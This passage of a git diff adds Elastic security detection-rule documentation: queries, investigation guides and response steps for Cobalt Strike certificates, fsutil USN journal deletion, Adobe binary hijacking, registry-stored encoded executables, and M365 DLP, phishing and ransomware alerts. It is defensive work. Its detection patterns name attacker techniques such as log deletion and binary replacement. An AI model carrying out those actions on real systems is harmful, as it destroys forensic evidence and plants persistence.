+- In environments where Cobalt Strike is used for authorized red team exercises, ensure that the default certificate is replaced with a custom one to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further communication with the potential Cobalt Strike server. +- Conduct a thorough forensic analysis of the isolated system to identify any malicious payloads or additional indicators of compromise. +- Revoke any compromised credentials and enforce a password reset for affected accounts to prevent unauthorized access. +- Update and patch all systems to the latest security standards to mitigate vulnerabilities that could be exploited by similar threats. +- Implement network segmentation to limit the lateral movement of threats within the network. +- Enhance monitoring and logging to capture detailed network traffic and endpoint activity, focusing on the identified cryptographic hashes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and coordination with external threat intelligence sources if necessary. + + +*Threat intel* + + +While Cobalt Strike is intended to be used for penetration tests and IR training, it is frequently used by actual threat actors (TA) such as APT19, APT29, APT32, APT41, FIN6, DarkHydrus, CopyKittens, Cobalt Group, Leviathan, and many other unnamed criminal TAs. This rule uses high-confidence atomic indicators, so alerts should be investigated rapidly. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.tls or event.category: (network or network_traffic)) + and (tls.server.hash.md5:950098276A495286EB2A2556FBAB6D83 + or tls.server.hash.sha1:6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C + or tls.server.hash.sha256:87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-delete-volume-usn-journal-with-fsutil.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-delete-volume-usn-journal-with-fsutil.asciidoc new file mode 100644 index 0000000000..72d670a3d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-delete-volume-usn-journal-with-fsutil.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-delete-volume-usn-journal-with-fsutil]] +=== Delete Volume USN Journal with Fsutil + +Identifies use of the fsutil.exe to delete the volume USNJRNL. This technique is used by attackers to eliminate evidence of files created during post-exploitation activities. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Delete Volume USN Journal with Fsutil* + + +The Update Sequence Number (USN) Journal is a feature in the NTFS file system used by Microsoft Windows operating systems to keep track of changes made to files and directories on a disk volume. The journal records metadata for changes such as file creation, deletion, modification, and permission changes. It is used by the operating system for various purposes, including backup and recovery, file indexing, and file replication. + +This artifact can provide valuable information in forensic analysis, such as programs executed (prefetch file operations), file modification events in suspicious directories, deleted files, etc. Attackers may delete this artifact in an attempt to cover their tracks, and this rule identifies the usage of the `fsutil.exe` utility to accomplish it. + +Consider using the Elastic Defend integration instead of USN Journal, as the Elastic Defend integration provides more visibility and context in the file operations it records. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Review file operation logs from Elastic Defend for suspicious activity the attacker tried to hide. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "fsutil.exe" or ?process.pe.original_file_name == "fsutil.exe") and + process.args : "deletejournal" and process.args : "usn" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-adobe-hijack-persistence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-adobe-hijack-persistence.asciidoc new file mode 100644 index 0000000000..6818f7774a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-adobe-hijack-persistence.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-deprecated-adobe-hijack-persistence]] +=== Deprecated - Adobe Hijack Persistence + +Detects writing executable files that will be automatically launched by Adobe on launch. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/pabraeken/status/997997818362155008 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - Adobe Hijack Persistence* + + +Attackers can replace the `RdrCEF.exe` executable with their own to maintain their access, which will be launched whenever Adobe Acrobat Reader is executed. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + file.path : ( + "?:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", + "?:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe" + ) and + not process.name : ("msiexec.exe", "AdobeARM.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services File Permissions Weakness +** ID: T1574.010 +** Reference URL: https://attack.mitre.org/techniques/T1574/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-encoded-executable-stored-in-the-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-encoded-executable-stored-in-the-registry.asciidoc new file mode 100644 index 0000000000..d6bac43ed5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-encoded-executable-stored-in-the-registry.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-deprecated-encoded-executable-stored-in-the-registry]] +=== Deprecated - Encoded Executable Stored in the Registry + +Identifies registry write modifications to hide an encoded portable executable. This could be indicative of adversary defense evasion by avoiding the storing of malicious content directly on disk. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 418 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - Encoded Executable Stored in the Registry* + + +Windows Registry is a hierarchical database storing low-level settings for the OS and applications. Adversaries exploit it to hide encoded executables, evading detection by avoiding direct disk storage. The detection rule identifies suspicious registry modifications, specifically targeting encoded patterns indicative of hidden executables, thus flagging potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the registry path and key where the modification was detected to understand the context and potential impact on the system. +- Analyze the encoded data string "TVqQAAMAAAAEAAAA*" to determine if it corresponds to a known malicious executable or pattern. +- Check the modification timestamp to correlate with any other suspicious activities or events on the system around the same time. +- Investigate the process or user account responsible for the registry modification to assess if it is associated with legitimate activity or known threats. +- Cross-reference the alert with other data sources such as Sysmon, Microsoft Defender XDR, or SentinelOne for additional context or corroborating evidence of malicious behavior. +- Evaluate the system's network activity and connections during the time of the registry modification to identify any potential command and control communications or data exfiltration attempts. + + +*False positive analysis* + + +- Legitimate software installations or updates may write encoded executables to the registry as part of their normal operation. Users can create exceptions for known software by identifying their specific registry paths and excluding them from the detection rule. +- Security tools and system management software might store encoded data in the registry for legitimate purposes. Review the registry paths and data associated with these tools and exclude them if they are verified as non-threatening. +- Custom scripts or enterprise applications developed in-house may use encoded executables in the registry for deployment or configuration purposes. Work with development teams to identify these scripts and add exceptions for their registry modifications. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking potential threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the encoded executable. +- Remove the malicious registry entry by using a trusted registry editor or automated script to ensure the encoded executable is no longer stored in the registry. +- Conduct a full system scan using updated antivirus and anti-malware tools to identify and remove any additional threats or remnants of the attack. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through cleaning. +- Monitor the system and network for any signs of re-infection or similar registry modifications, adjusting detection rules if necessary to enhance future threat identification. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and +/* update here with encoding combinations */ + registry.data.strings : "TVqQAAMAAAAEAAAA*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-exchange-dlp-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-exchange-dlp-policy-deleted.asciidoc new file mode 100644 index 0000000000..d294f8a545 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-exchange-dlp-policy-deleted.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-21-deprecated-m365-exchange-dlp-policy-deleted]] +=== Deprecated - M365 Exchange DLP Policy Deleted + +Identifies when a Data Loss Prevention (DLP) policy is removed in Microsoft 365. An adversary may remove a DLP policy to evade existing DLP monitoring. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-dlppolicy?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/compliance/data-loss-prevention-policies?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - M365 Exchange DLP Policy Deleted* + + +Data Loss Prevention (DLP) in Microsoft 365 Exchange is crucial for safeguarding sensitive information by monitoring and controlling data transfers. Adversaries may exploit this by removing DLP policies to bypass data monitoring, facilitating unauthorized data exfiltration. The detection rule identifies such actions by analyzing audit logs for specific events indicating successful DLP policy removal, thus alerting security teams to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-DlpPolicy" to identify the user account responsible for the action. +- Check the event.outcome field to confirm the success of the DLP policy removal and gather additional context from related logs. +- Investigate the user account's recent activities in Microsoft 365 to identify any other suspicious actions or anomalies. +- Verify if the removed DLP policy was critical for protecting sensitive data and assess the potential impact of its removal. +- Contact the user or their manager to confirm if the DLP policy removal was authorized and legitimate. +- Examine any recent changes in permissions or roles for the user account to determine if they had the necessary privileges to remove the DLP policy. + + +*False positive analysis* + + +- Routine administrative changes to DLP policies by authorized personnel can trigger alerts. To manage this, maintain a list of authorized users and correlate their activities with policy changes to verify legitimacy. +- Scheduled updates or maintenance activities might involve temporary removal of DLP policies. Document these activities and create exceptions in the monitoring system for the duration of the maintenance window. +- Automated scripts or third-party tools used for policy management can inadvertently trigger false positives. Ensure these tools are properly documented and their actions are logged to differentiate between legitimate and suspicious activities. +- Changes in organizational policy or compliance requirements may necessitate the removal of certain DLP policies. Keep a record of such changes and adjust the monitoring rules to accommodate these legitimate actions. + + +*Response and remediation* + + +- Immediately isolate the affected Microsoft 365 account to prevent further unauthorized actions and data exfiltration. +- Review the audit logs to identify any additional unauthorized changes or suspicious activities associated with the account or related accounts. +- Restore the removed DLP policy from a backup or recreate it based on the organization's standard configuration to re-enable data monitoring. +- Conduct a thorough investigation to determine the scope of data exposure and identify any data that may have been exfiltrated during the period the DLP policy was inactive. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment measures are necessary. +- Implement enhanced monitoring and alerting for similar events, focusing on unauthorized changes to security policies and configurations. +- Review and strengthen access controls and permissions for accounts with the ability to modify DLP policies to prevent unauthorized changes in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-DlpPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-email-reported-by-user-as-malware-or-phish.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-email-reported-by-user-as-malware-or-phish.asciidoc new file mode 100644 index 0000000000..a861df0f8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-email-reported-by-user-as-malware-or-phish.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-deprecated-m365-security-compliance-email-reported-by-user-as-malware-or-phish]] +=== Deprecated - M365 Security Compliance Email Reported by User as Malware or Phish + +Detects the occurrence of emails reported as Phishing or Malware by Users. Security Awareness training is essential to stay ahead of scammers and threat actors, as security products can be bypassed, and the user can still receive a malicious message. Educating users to report suspicious messages can help identify gaps in security controls and prevent malware infections and Business Email Compromise attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.microsoft.com/en-us/office/use-the-report-message-add-in-b5caa9f1-cdf3-4443-af8c-ff724ea719d2?ui=en-us&rs=en-us&ad=us + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Security Compliance Email Reported by User as Malware or Phish* + + +Microsoft 365's email services are integral to business communication, but they can be exploited by adversaries through phishing or malware-laden emails. Attackers may bypass security measures, reaching users who might unwittingly engage with malicious content. The detection rule leverages user reports of suspicious emails, correlating them with security events to identify potential threats, thus enhancing the organization's ability to respond to phishing attempts and malware distribution. + + +*Possible investigation steps* + + +- Review the details of the alert triggered by the rule "Email reported by user as malware or phish" in the SecurityComplianceCenter to understand the context and specifics of the reported email. +- Examine the event dataset from o365.audit to gather additional information about the email, such as sender, recipient, subject line, and any attachments or links included. +- Correlate the reported email with other security events or alerts to identify any patterns or related incidents that might indicate a broader phishing campaign or malware distribution attempt. +- Check the user's report against known phishing or malware indicators, such as suspicious domains or IP addresses, using threat intelligence sources to assess the credibility of the threat. +- Investigate the user's activity following the receipt of the email to determine if any actions were taken that could have compromised the system, such as clicking on links or downloading attachments. +- Assess the effectiveness of current security controls and awareness training by analyzing how the email bypassed existing defenses and was reported by the user. + + +*False positive analysis* + + +- User-reported emails from trusted internal senders can trigger false positives. Encourage users to verify the sender's identity before reporting and consider adding these senders to an allowlist if they are consistently flagged. +- Automated system notifications or newsletters may be mistakenly reported as phishing. Educate users on recognizing legitimate automated communications and exclude these sources from triggering alerts. +- Emails containing marketing or promotional content from known vendors might be reported as suspicious. Train users to differentiate between legitimate marketing emails and phishing attempts, and create exceptions for verified vendors. +- Frequent reports of emails from specific domains that are known to be safe can lead to unnecessary alerts. Implement domain-based exceptions for these trusted domains to reduce false positives. +- Encourage users to provide detailed reasons for reporting an email as suspicious, which can help in refining detection rules and reducing false positives over time. + + +*Response and remediation* + + +- Isolate the affected email account to prevent further interaction with potentially malicious content and to stop any ongoing unauthorized access. +- Quarantine the reported email and any similar emails identified in the system to prevent other users from accessing them. +- Conduct a thorough scan of the affected user's device and network for any signs of malware or unauthorized access, using endpoint detection and response tools. +- Reset the credentials of the affected user account and any other accounts that may have been compromised to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident, providing details of the threat and actions taken, to ensure coordinated response efforts. +- Review and update email filtering and security policies to address any identified gaps that allowed the malicious email to bypass existing controls. +- Monitor for any further suspicious activity related to the incident, using enhanced logging and alerting mechanisms to detect similar threats in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.action:AlertTriggered and rule.name:"Email reported by user as malware or phish" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc new file mode 100644 index 0000000000..677b1849dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-deprecated-m365-security-compliance-potential-ransomware-activity]] +=== Deprecated - M365 Security Compliance Potential Ransomware Activity + +Identifies when Microsoft Cloud App Security flags potential ransomware activity in Microsoft 365. This rule detects events where the Security Compliance Center reports a "Ransomware activity" or "Potential ransomware activity" alert, which may indicate file encryption, mass file modifications, or uploads of ransomware-infected files to cloud services such as SharePoint or OneDrive. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy +* https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference +* https://www.microsoft.com/en-us/security/blog/threat-intelligence/ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - M365 Security Compliance Potential Ransomware Activity* + + +Microsoft 365's cloud services can be exploited by adversaries to distribute ransomware by uploading infected files. This detection rule leverages Microsoft Cloud App Security to identify suspicious uploads, focusing on successful events flagged as potential ransomware activity. By monitoring specific event datasets and actions, it helps security analysts pinpoint and mitigate ransomware threats, aligning with MITRE ATT&CK's impact tactics. + + +*Possible investigation steps* + + +- Identify the affected user account and review their recent file activity in Microsoft 365 for signs of mass file encryption, renaming with unusual extensions, or rapid file modifications. +- Examine the file names, extensions, and metadata of the flagged uploads to determine if they match known ransomware patterns (e.g., `.encrypted`, `.locked`, or ransom note files like `README.txt` or `DECRYPT_INSTRUCTIONS.html`). +- Correlate this alert with other security events from the same user or source IP, such as impossible travel, failed login attempts, or suspicious inbox rules, to identify potential account compromise. +- Check whether the affected user's endpoint shows signs of ransomware execution, such as high CPU usage, mass file system changes, or known ransomware process names. +- Review SharePoint or OneDrive file version history to determine the scope of encrypted or modified files and whether recovery via version rollback is possible. +- Contact the user to verify whether the activity is legitimate or if their account or device may have been compromised. + + +*False positive analysis* + + +- Legitimate file uploads by trusted users may trigger alerts if the files are mistakenly flagged as ransomware. To manage this, create exceptions for specific users or groups who frequently upload large volumes of files. +- Automated backup processes that upload encrypted files to the cloud can be misidentified as ransomware activity. Exclude these processes by identifying and whitelisting the associated service accounts or IP addresses. +- Certain file types or extensions commonly used in business operations might be flagged. Review and adjust the detection rule to exclude these file types if they are consistently identified as false positives. +- Collaborative tools that sync files across devices may cause multiple uploads that appear suspicious. Monitor and exclude these tools by recognizing their typical behavior patterns and adjusting the rule settings accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further uploads and potential spread of ransomware within the cloud environment. +- Quarantine the uploaded files flagged as potential ransomware to prevent access and further distribution. +- Conduct a thorough scan of the affected user's devices and cloud storage for additional signs of ransomware or other malicious activity. +- Notify the security operations team to initiate a deeper investigation into the source and scope of the ransomware activity. +- Restore any 